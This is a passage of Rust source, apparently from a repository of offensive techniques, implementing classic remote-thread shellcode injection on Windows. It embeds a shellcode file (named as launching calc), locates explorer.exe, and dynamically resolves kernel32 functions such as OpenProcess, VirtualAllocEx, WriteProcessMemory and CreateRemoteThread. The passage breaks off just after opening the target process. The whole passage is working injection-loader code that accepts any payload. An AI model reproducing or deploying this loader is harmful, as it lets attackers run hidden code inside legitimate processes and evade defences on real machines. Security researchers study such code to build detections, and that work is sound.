Function main

create_remote_thread_native/src/main.rs:14–114

()

#[cfg(target_os = "windows")]
fn main() {
    let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin");
    let shellcode_size = shellcode.len();

    let mut system = System::new();
    system.refresh_processes();
    let pid = system
        .processes_by_name("explorer.exe")
        .next()
        .expect("[-]no process!")
        .pid()
        .as_u32();

    unsafe {
        let kernel32 = Library::new("kernel32.dll").expect("[-]no kernel32.dll!");

        let get_last_error: Symbol<unsafe extern "C" fn() -> u32> = kernel32
            .get(b"GetLastError\0")
            .expect("[-]no GetLastError!");

        let open_process: Symbol<unsafe extern "C" fn(u32, i32, u32) -> isize> =
            kernel32.get(b"OpenProcess\0").expect("[-]no OpenProcess!");

        let virtual_alloc_ex: Symbol<
            unsafe extern "C" fn(isize, *const c_void, usize, u32, u32) -> *mut c_void,
        > = kernel32
            .get(b"VirtualAllocEx\0")
            .expect("[-]no VirtualAllocEx!");

        let write_process_memory: Symbol<
            unsafe extern "C" fn(isize, *const c_void, *const c_void, usize, *mut usize) -> i32,
        > = kernel32
            .get(b"WriteProcessMemory\0")
            .expect("[-]no WriteProcessMemory!");

        let virtual_protect_ex: Symbol<
            unsafe extern "C" fn(isize, *const c_void, usize, u32, *mut u32) -> i32,
        > = kernel32
            .get(b"VirtualProtectEx\0")
            .expect("[-]no VirtualProtectEx!");

        let create_remote_thread: Symbol<
            unsafe extern "C" fn(
                isize,
                *const c_void,
                usize,
                *const c_void,
                u32,
                *mut u32,
            ) -> isize,
        > = kernel32
            .get(b"CreateRemoteThread\0")
            .expect("[-]no CreateRemoteThread!");

        let close_handle: Symbol<unsafe extern "C" fn(isize) -> i32> =
            kernel32.get(b"CloseHandle").expect("[-]no CloseHandle!");

        let handle = open_process(PROCESS_ALL_ACCESS, 0, pid);